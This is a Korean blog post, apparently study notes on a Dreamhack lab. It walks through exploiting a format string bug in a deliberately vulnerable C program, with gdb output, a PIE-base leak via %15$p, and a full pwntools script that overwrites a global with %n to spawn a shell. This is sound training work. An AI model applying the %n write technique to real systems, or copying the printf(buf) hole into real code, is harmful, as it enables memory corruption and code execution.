선수 지식:
PIE는 실행 파일이 메모리에 로드될 때마다 그 베이스 주소가 랜덤하게 결정되도록 하는 보호 기법이다. 즉, 전역 변수나 함수 등의 실제 메모리 주소는 프로그램이 실행될 때마다 바뀌게 된다.
이전 강의에서는 사용자의 입력을 포맷 스트링으로 사용하면 포맷 스트링 버그가 발생할 수 있음을 알아보았다. 이를 통해 임의 주소 읽기 및 임의 주소 쓰기가 가능했다. 예제로 printf 함수를 사용했지만 이외에 포맷 스트링을 사용하는 모든 함수는 해당 버그가 발생할 수 있으며,최근 유명 소프트웨어에서 로그와 관련된 함수의 오용으로 버그가 발생한 적이 있다.
이번 강의에서는 포맷 스트링 버그 취약점이 존재하는 예제 코드를 사용하여 포맷 스트링 공격을 실습해보자.
실습 목표는 changeme의 값을 1337로 바꾸는 것이다.
💡포맷 스트링 버그가 발생할 수 있는 함수
포맷 스트링 버그는 포맷스트링을 사용하는 모든 함수에서 발생할 수 있습니다. 리눅스 라이브러리 함수에서는 printf, fprintf, sprintf와 같은 함수들을 사용할 때 유의해야 합니다.
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
분석

PIE, NX를 포함한 보호 기법이 적용되어있다. 카나리는 발견되지 않았으나 SFP나 반환 주소를 변조할만한 스택 버퍼 오버플로우 취약점이 존재하지 않아 큰 의미는 없다.
코드 분석
예제에서는 get_string 함수를 통해 buf에 32 바이트(0x20) 입력을 받는다. 사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하므로 포맷 스트링 버그 취약점이 발생한다.
익스플로잇 설계
1. changeme 주소 구하기
changeme의 값을 조작하려면 해당 변수의 주소를 먼저 알아내야 한다. 바이너리에는 PIE 보호 기법이 적용되어 있으므로, 전역변수인 changeme의 주소는 실행할 때마다 바뀐다. 따라서 PIE 베이스 주소를 먼저 구하고, 그 주소를 기준으로 changeme의 주소를 계산해야한다.
(changeme의 값을 변경하려면 먼저 프로그램의 PIE 베이스 주소를 알아야한다. PIE 베이스 주소는 프로그램이 메모리에 로드될 때 프로그램의 시작 지점이 되는 주소이다. 이 주소를 알면, 바이너리 내의 오프셋을 더해서 changeme의 실제 메모리 주소를 구할 수 있다)
2. changeme를 1337로 설정하기
get_string으로 changeme의 주소를 스택에 저장하면, printf 함수에서 %n으로 changeme의 값을 조작할 수 있다. 1337 바이트의 문자열을 미리 출력하고, 위 방법으로 changeme에 값을 쓰면 changeme를 1337로 설정할 수 있다.
** changeme 주소 구하기
dissassble main 명령어를 사용해 printf 함수가 호출되는 오프셋을 찾고 해당 위치에 브레이크 포인트를 설정한다. run 명령어로 프로그램을 실행하면 get_string 함수에서 입력을 받는다. 특정한 값을 입력하면 다음과 같이 printf 함수를 호출하기 직전에 브레이크 포인트가 걸린다.
$ gdb -q fsb_overwrite
pwndbg> disass main
Dump of assembler code for function main:
...
0x00000000000012d3 <+64>: lea rax,[rbp-0x30]
0x00000000000012d7 <+68>: mov rdi,rax
0x00000000000012da <+71>: mov eax,0x0
0x00000000000012df <+76>: call 0x10e0 <printf@plt>
...
End of assembler dump.
pwndbg> b *main+76
Breakpoint 1 at 0x12df
pwndbg> r
Starting program: /home/dreamhack/fsb_overwrite
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
aaaaa
Breakpoint 1, 0x00005555555552df in main ()
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x5555555552df <main+76> call printf@plt <printf@plt>
format: 0x7fffffffe2d0 ◂— 0x6161616161 /* 'aaaaa' */
vararg: 0x7fffffffe2d0 ◂— 0x6161616161 /* 'aaaaa' */
0x5555555552e4 <main+81> lea rax, [rip + 0xd1e]
0x5555555552eb <main+88> mov rdi, rax
0x5555555552ee <main+91> call puts@plt <puts@plt>
...


이제 RSP를 출력해보면, 다음과 같이 RSP+0x48 위치에 0x555555555293 가 저장되어 있다.(강의랑 실습이랑 조금 다름)
pwndbg> x/32gx $rsp
0x7fffffffe2d0: 0x0000006161616161 0x0000000000000000
0x7fffffffe2e0: 0x0000000000000000 0x0000000000000000
0x7fffffffe2f0: 0x0000000000000000 0x77c8b8abdc839b00
0x7fffffffe300: 0x0000000000000001 0x00007ffff7dabd90
0x7fffffffe310: 0x0000000000000000 0x0000555555555293
0x7fffffffe320: 0x0000000100000000 0x00007fffffffe418
0x7fffffffe330: 0x0000000000000000 0x1e535541fc844cd1
0x7fffffffe340: 0x00007fffffffe418 0x0000555555555293
0x7fffffffe350: 0x0000555555557d90 0x00007ffff7ffd040
0x7fffffffe360: 0xe1acaabe3aa64cd1 0xe1acbaf4860e4cd1
0x7fffffffe370: 0x00007fff00000000 0x0000000000000000
0x7fffffffe380: 0x0000000000000000 0x0000000000000000
0x7fffffffe390: 0x0000000000000000 0x77c8b8abdc839b00
0x7fffffffe3a0: 0x0000000000000000 0x00007ffff7dabe40
0x7fffffffe3b0: 0x00007fffffffe428 0x0000555555557d90
0x7fffffffe3c0: 0x00007ffff7ffe2e0 0x0000000000000000
pwndbg> Quit
pwndbg> Quit
pwndbg> Quit
pwndbg> x/gx $rsp+0x48
0x7fffffffe318: 0x0000555555555293
(48인 이유. print 0x7fffffffdec0 - 0x7fffffffde90 = 64 임 64는 16진수로 0x40 그렇다면 0x555555555293은 0x48 차이난다.)


vmmap으로 확인해보면 해당 값은 fsb_overwrite 바이너리가 매핑된 영역에 포함되는 주소이므로, 이 주소를 사용하면 PIE 베이스 주소를 구할 수 있다.
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x555555554000 0x555555555000 r--p 1000 0 /home/dremahack/fsb_overwrite
0x555555555000 0x555555556000 r-xp 1000 1000 /home/dremahack/fsb_overwrite
0x555555556000 0x555555557000 r--p 1000 2000 /home/dremahack/fsb_overwrite
0x555555557000 0x555555558000 r--p 1000 2000 /home/dremahack/fsb_overwrite
0x555555558000 0x555555559000 rw-p 1000 3000 /home/dremahack/fsb_overwrite
[생략]

[RSP-0x48] 에 저장되어 있는 주소와 PIE 베이스 주소 간의 오프셋은 다음과 같이 구할 수 있다. 오프셋은 0x1293이다
pwndbg> p/x 0x555555555293 - 0x555555554000
$1 = 0x1293

x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달한다. 예를 들어 printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9); 를 호출하면 1,2,3,4,5,6,7,8,9는 각각 RSI, RDX, RCX, R8. R9, [RSP],[RSP+0x8][RSP+0x10][RSP+0x18]에 전달된다. 다음은 printf 함수의 인자를 순서대로 정리한 표이다. PIE 베이스 주소를 구할 주소를 가진 RSP+0x48은 포맷 스트링의 15번째 인자이므로, %15$p로 읽을 수 있다.
| 포맷 스트링 인자 | 값 |
| RSI | 0x7fffffffe2d0 |
| RDX | 0x5 |
| RCX | 0x7ffff7e96992 |
| R8 | 0x7ffff7f9cf10 |
| R9 | 0x7ffff7fc9040 |
| [RSP] | “aaaaa” |
| [RSP+0x8] | 0x0 |
| [RSP+0x10] | 0x0 |
| ... | ... |
| [RSP+0x48] | 0x555555555293 |
%15$p를 입력해서 출력한 주소 값에서 0x1293을 빼면 PIE 베이스 주소가 된다. PIE 베이스 주소에 changeme의 오프셋을 더하면 changeme의 주소를 구할 수 있다. changeme의 오프셋은 셸에서 readelf 명령어로 확인할 수 있다.
$ readelf -s fsb_overwrite | grep changeme
40: 000000000000401c 4 OBJECT GLOBAL DEFAULT 26 changeme

이를 이용하여 pwntools 스크립트를 작성하면 다음과 같이 코드 영역이 매핑된 주소와 changeme 변수의 주소를 구할 수 있다.
$ python3 get_changeme.py
[+] Starting local process './fsb_overwrite': pid 554511
[*] '/home/dreamhack/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] code_base: 0x55e13c32d000
[+] changeme: 0x55e13c33101c
[*] Stopped process './fsb_overwrite' (pid 554511)
#!/usr/bin/env python3
# Name: get_changeme.py
from pwn import *
def slog(n,m):
return success(': '.join([n, hex(m)]))
p = process('./fsb_overwrite')
elf = ELF('./fsb_overwrite')
# [1] Get Address of changeme
p.sendline(b'%15$p') #FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + elf.symbols['changeme']
slog('code_base', code_base)
slog('changeme', changeme)

1337 길이의 문자열 출력
%n은 현재까지 출력된 문자열의 길이를 인자에 저장한다. 따라서 해당 형식 지정자로 changeme 변수에 1337을 쓰려면 1337바이트 길이의 문자열을 먼저 출력해야 한다. 예제에서는 입력받는 길이를 0x20으로 제한하므로 1337개의 문자열을 직접 입력할 수는 없다. 이럴 때는 포맷 스트링의 width 속성을 사용할 수 있다.
포맷 스트링의 width는 출력의 최소 길이를 지정하고, 출력할 문자의 길이가 최소 길이보다 작으면 그만큼 패딩 문자를 추가한다. 예를 들어 %1337c에 대응되는 인자의 길이가 1337보다 작으면, 인자를 출력하고 남은 길이를 공백으로 출력한다. 다음 코드로 이를 확인할 수 있다.
// Name: fsb_minwidth.c
// Compile: gcc -o fsb_minwidth fsb_minwidth.c
int main() {
printf("%10d\n", 123);
printf("%20c\n", 'A');
}

** changeme 덮어쓰기
changeme 변수의 주소를 알고, 1337의 길이를 갖는 문자열도 출력할 수 있으므로, 다음과 같은 포맷 스트링을 구성하면 changeme의 값을 1337로쓸 수 있다. 포맷 스트링을 구성하고, 익스플로잇을 실행하면 아래 실행 결과와 같이 good이 출력된다.

$ python3 ./get_changeme.py
[+] Starting local process './fsb_overwrite': pid 554808
[*] '/home/dreamhack/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] code_base: 0x55ac48e5c000
[+] changeme: 0x55ac48e6001c
[*] Switching to interactive mode
0AAAAAA$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
$
#!/usr/bin/env python3
# Name: get_changeme.py
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = process('./fsb_overwrite')
elf = ELF('./fsb_overwrite')
# [1] Get Address of changeme
p.sendline(b'%15$p') # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + elf.symbols['changeme']
slog('code_base', code_base)
slog('changeme', changeme)
# [2] Overwrite changeme
payload = b'%1337c' # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += b'%8$n' # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += b'A'*6 # 8의 배수를 위한 패딩입니다.
payload = payload + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.
p.sendline(payload)
p.interactive()
마치며
마치며
이번 강의에서는 포맷 스트링 버그를 공격하는 실습을 해보았습니다. 실습에서는 changeme 의 값을 덮어쓰기만 했지만, 이전 강의들에서 배운 내용을 응용하면 셸을 획득하는 것도 가능합니다.
포맷 스트링 버그를 공격하려면 포맷 스트링의 문법을 이해하고, 이를 응용해야 하므로 다른 취약점에 비해 익스플로잇을 작성하기 까다로울 수 있습니다. 드림핵에서는 관련된 워게임 문제를 풀이하면서 이를 연습해볼 수 있습니다. 다음 강의에서는 리눅스의 동적 할당 및 해제를 관리하는 ptmalloc2에 대해서 알아보겠습니다. 🚩
키워드
|
'공부중 > 시스템 해킹' 카테고리의 다른 글
| [Dreamhack] Memory Corruption: Use After Free (0) | 2024.10.05 |
|---|---|
| [Dreamhack] Background: ptmalloc2 (0) | 2024.10.04 |
| [Dreamhack] Memory Corruption: Format String Bug (0) | 2024.10.02 |
| [Dreamhack] Exploit Tech: Out of bounds (0) | 2024.09.28 |
| [Dreamhack] Memory Corruption: Out of Bounds (0) | 2024.09.28 |
댓글